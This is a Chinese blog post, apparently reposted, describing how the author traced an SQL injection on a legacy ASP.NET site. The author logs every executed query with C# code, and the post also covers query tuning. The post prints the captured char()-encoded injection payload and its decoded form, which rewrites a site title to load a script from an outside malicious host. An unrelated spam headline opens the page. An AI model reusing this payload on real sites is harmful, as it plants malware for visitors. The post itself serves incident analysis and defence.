自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

記一次成功的SQL注入入侵檢測附帶SQL性能優(yōu)化

運(yùn)維 數(shù)據(jù)庫運(yùn)維
很多同學(xué)和園友都遇到過SQL注入的,其中大部分都是代碼的不嚴(yán)謹(jǐn)造成的,都是犯過很多錯(cuò)誤才學(xué)會(huì)認(rèn)真起來。

很多同學(xué)和園友都遇到過sql注入的,其中大部分都是代碼的不嚴(yán)謹(jǐn)造成的,都是犯過很多錯(cuò)誤才學(xué)會(huì)認(rèn)真起來。

但是如果是讓你接手一個(gè)二等殘廢的網(wǎng)站,并讓你在上面改版,而且不能推翻式改版,只能逐步替換舊的程序,那么你會(huì)非常痛苦,例如我遇到的問題:

問題1.

老板對(duì)你說,以前剛做完網(wǎng)站好好了,沒有出現(xiàn)木馬,怎么你來了,就會(huì)出現(xiàn)木馬,先別說了,趕緊解決問題,我徹底無語,但是如果爭吵,其實(shí)證明你和老板一樣無知,拿出證據(jù)和事實(shí)分析來讓公司其他稍微懂技術(shù)的一起來證明,公司網(wǎng)站被掛馬不是你來了的錯(cuò)。

如是我通過網(wǎng)站目錄仔細(xì)排查將通過fck上傳的網(wǎng)馬刪除并修補(bǔ)fck的上傳漏洞并記下了這篇  Fckeditor使用筆記 ,其實(shí)很多人都遇到過,也解決過,都是小問題,但是讓你老板明白比解決漏洞問題更蛋疼,我那解釋的叫一個(gè)汗啊,恨不得把公司所有稍微懂點(diǎn)技術(shù)的都叫上讓他們看什么是大馬什么是小馬,然后演示怎么上傳木馬,奶奶的,黑客教程普及啊。

問題2.  

網(wǎng)站又出現(xiàn)問題,上次的問題解決了不過兩個(gè)月,網(wǎng)站又被入侵掛馬,如是老板這次再說因?yàn)槲襾砹瞬懦鰡栴},立馬走人,這就是為什么不能更不懂技術(shù)的人硬碰硬,更不能和你的老板來說,說了你又不懂。

但是要命的是網(wǎng)站是以前的技術(shù)開發(fā)的二等殘廢,在別個(gè)的cms上修改的,我必須保證網(wǎng)站在的開發(fā)的同時(shí)舊的模塊還可以使用,通過逐步更新的方法將網(wǎng)站底層翻新,但是那么多頁面,你很難一個(gè)一個(gè)去檢測那個(gè)頁面有漏洞,如是寫出下面的檢測代碼,沒想到這么簡單的就搞定了,并且可以通過此方法優(yōu)化你的sql。

第一步建立一個(gè)sql日志表

  1. CREATE TABLE [dbo].[my_sqllog](  
  2.     [id] [bigint] IDENTITY(1,1) NOT NULL,  
  3.     [hit] [bigintNULL,  
  4.     [sqltext] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  5.     [paramdetails] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  6.     [begintime] [datetime] NULL,  
  7.     [endtime] [datetime] NULL,  
  8.     [fromurl] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  9.     [ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,  
  10.     [lastelapsedtime] [bigintNULL,  
  11.  CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED   
  12. (  
  13.     [id] ASC 
  14. )WITH (IGNORE_DUP_KEY = OFFON [PRIMARY]  
  15. ON [PRIMARY

記錄sql語句、此sql語句被執(zhí)行次數(shù),參數(shù)及值,記錄開始時(shí)間,結(jié)束時(shí)間,來自哪個(gè)頁面,ip和此條語句執(zhí)行時(shí)間(暫時(shí)沒用)

第二步在sqlhelper里寫記錄代碼

兩個(gè)方法本來可以寫成private的,但是此二等殘廢的網(wǎng)站其他地方用的別的sqlhelper類,就直接調(diào)用此處通過合理優(yōu)化的sqlhelper類的方法了。

代碼1:插入日志

  1. public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)  
  2.         {  
  3.             #region 參數(shù)處理  
  4.             string colums = "";  
  5.             string dbtypes = "";  
  6.             string values = "";  
  7.             string paramdetails = "";  
  8.  
  9.  
  10.             if (cmdParams != null && cmdParams.Length > 0)  
  11.             {  
  12.                 foreach (DbParameter param in cmdParams)  
  13.                 {  
  14.                     if (param == null)  
  15.                     {  
  16.                         continue;  
  17.                     }  
  18.  
  19.                     colums += param.ParameterName + " ";  
  20.                     dbtypes += param.DbType + " ";  
  21.                     values += param.Value + ";";  
  22.                 }  
  23.  
  24.                 paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);  
  25.             }  
  26.             string fromurl = "";  
  27.             if (System.Web.HttpContext.Current!=null)  
  28.             {  
  29.                 fromurl = System.Web.HttpContext.Current.Request.Url.ToString();  
  30.             }  
  31.            // commandText = commandText.Replace("'","‘").Replace(";",";");  
  32.             SqlParameter[] parameters = new SqlParameter[]  
  33.                                           {  
  34.                                               new SqlParameter("@hit",1),  
  35.                                               new SqlParameter("@sqltext",commandText),  
  36.                                               new SqlParameter("@paramdetails",paramdetails),  
  37.                                               new SqlParameter("@begintime",DateTime.Now),  
  38.                                               new SqlParameter("@endtime",DateTime.Now),  
  39.                                               new SqlParameter("@fromurl",fromurl),  
  40.                                               new SqlParameter("@ip",Web.PressRequest.GetIP()),  
  41.                                               new SqlParameter("@lastelapsedtime",0),   
  42.                                           };  
  43.  
  44.              
  45.             #endregion  
  46.  
  47.             using (DbConnection connection = Factory.CreateConnection())  
  48.             {  
  49.                 connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;  
  50.  
  51.                 string sql = "";  
  52.  
  53.                 // 執(zhí)行DbCommand命令,并返回結(jié)果.  
  54.                 int id =  
  55.                     Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,  
  56.                                                                   "select top 1 id from my_sqllog where sqltext=@sqltext",  
  57.                                                                   new SqlParameter("@sqltext", commandText)));  
  58.                 if (id > 0)  
  59.                 {  
  60.                     sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;  
  61.                 }  
  62.                 else 
  63.                 {  
  64.                     sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";  
  65.                 }  
  66.                 // 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理  
  67.                 DbCommand cmd = Factory.CreateCommand();  
  68.                 bool mustCloseConnection = false;  
  69.                 PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);  
  70.                 // 執(zhí)行DbCommand命令,并返回結(jié)果.  
  71.                 int retval = cmd.ExecuteNonQuery();  
  72.  
  73.                 // 清除參數(shù),以便再次使用.  
  74.                 cmd.Parameters.Clear();  
  75.                 if (mustCloseConnection)  
  76.                     connection.Close();  
  77.                 return retval;  
  78.             }  
  79.  
  80.  
  81.             
  82.         }  

代碼2:判斷此條sql是否存在

  1. private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)  
  2.         {  
  3.  
  4.             if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");  
  5.             // 創(chuàng)建并打開數(shù)據(jù)庫連接對(duì)象,操作完成釋放對(duì)象.  
  6.             using (DbConnection connection = Factory.CreateConnection())  
  7.             {  
  8.                 if (connection == null) throw new ArgumentNullException("connection");  
  9.  
  10.                 //connection.Close();  
  11.                 connection.ConnectionString = GetRealConnectionString(commandText);  
  12.                 connection.Open();  
  13.  
  14.                 // 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理  
  15.                 DbCommand cmd = Factory.CreateCommand();  
  16.  
  17.                 bool mustCloseConnection = false;  
  18.                 PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);  
  19.  
  20.                 // 執(zhí)行DbCommand命令,并返回結(jié)果.  
  21.                 object retval = cmd.ExecuteScalar();  
  22.  
  23.                 // 清除參數(shù),以便再次使用.  
  24.                 cmd.Parameters.Clear();  
  25.  
  26.                 if (mustCloseConnection)  
  27.                     connection.Close();  
  28.  
  29.                 return retval;  
  30.             }  
  31.  
  32.         }  

第三部在你的每個(gè)執(zhí)行sql語句的方法里加入以下代碼,不管是ExecuteScalar、ExecuteReader還是ExecuteNonQuery等等都加上

  1. //執(zhí)行sql之前進(jìn)行日志記錄操縱  
  2.   int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters); 

代碼示例:

  1. public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)  
  2. {  
  3.     if (connection == null) throw new ArgumentNullException("connection");  
  4.  
  5.     //connection.Close();  
  6.     connection.ConnectionString = GetRealConnectionString(commandText);  
  7.     connection.Open();  
  8.  
  9.     // 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理  
  10.     DbCommand cmd = Factory.CreateCommand();  
  11.  
  12.     bool mustCloseConnection = false;  
  13.     PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);  
  14.     //執(zhí)行sql之前進(jìn)行日志記錄操縱  
  15.     int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);  
  16.     // 執(zhí)行DbCommand命令,并返回結(jié)果.  
  17.     object retval = cmd.ExecuteScalar();  
  18.  
  19.     // 清除參數(shù),以便再次使用.  
  20.     cmd.Parameters.Clear();  
  21.  
  22.     if (mustCloseConnection)  
  23.         connection.Close();  
  24.  
  25.     return retval;  
  26. }  

然后你會(huì)發(fā)現(xiàn)入侵的入口被記錄下來了,后面方框里的就是構(gòu)造注入的sql

 

構(gòu)造sql如下:

  1. 39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 

轉(zhuǎn)碼后變成這樣了:

  1. update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://dfrgcc.com/ur.php></script>'

這個(gè)就是木馬地址,沒事你就別點(diǎn)了,好奇害死貓。

小 結(jié):     

既然知道入口就知道怎么補(bǔ)救了吧,把string類型該過濾的都過濾掉,int類型的就得是int類型,別讓數(shù)據(jù)庫替你隱式轉(zhuǎn)。通過此sql日志記錄,你應(yīng)該發(fā)現(xiàn)一點(diǎn)那個(gè)hit還是有點(diǎn)價(jià)值的。

通過select top 100 * from my_sqllog order by hit desc你會(huì)發(fā)現(xiàn)你寫的那么多sql原來真垃圾,在條件允許的情況下干嘛不把它放到緩存里。所以后來我寫的sql基本不在這top 100里。

拋磚引玉,望高手批評(píng),以上入侵方法希望剛學(xué)習(xí)做程序員的同學(xué)不要用來欺負(fù)小網(wǎng)站,傷不起。

原文鏈接:http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html

【編輯推薦】

  1. NoSQL數(shù)據(jù)庫漸入佳境 國內(nèi)應(yīng)用案例盤點(diǎn)
  2. 數(shù)據(jù)庫遷移之何去何從
  3. 教你五步優(yōu)化你的MongoDB
  4. 數(shù)據(jù)庫緩存重建不容忽視
  5. SQL Server數(shù)據(jù)庫恢復(fù)案例分享
責(zé)任編輯:艾婧 來源: jqbird的博客
相關(guān)推薦

2021-07-30 07:28:16

SQL優(yōu)化日志

2020-02-10 10:15:31

技術(shù)研發(fā)指標(biāo)

2017-11-30 09:52:26

SQLSQL Monitor查詢優(yōu)化

2019-12-16 07:18:42

數(shù)據(jù)庫SQL代碼

2009-07-19 10:24:14

2011-02-22 09:29:23

jQueryJavaScript

2020-06-05 08:53:31

接口性能實(shí)踐

2020-08-10 11:00:02

Python優(yōu)化代碼

2022-09-14 12:01:35

服務(wù)器入侵篡改,

2015-07-17 10:04:33

MKMapView優(yōu)化

2019-08-01 15:05:22

2019-09-27 17:24:26

數(shù)據(jù)庫優(yōu)化sql

2021-01-08 13:52:15

Consul微服務(wù)服務(wù)注冊(cè)中心

2021-08-26 22:26:55

性能優(yōu)化技術(shù)

2023-01-05 11:44:43

性能HTTPS

2019-04-04 15:00:40

SQL索引數(shù)據(jù)庫

2011-08-12 09:30:02

MongoDB

2015-03-18 13:18:45

MySQLSQL優(yōu)化

2022-02-17 11:19:33

Kubernetes服務(wù)器運(yùn)維

2017-07-10 07:55:50

虛擬化Windows IO云計(jì)算
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)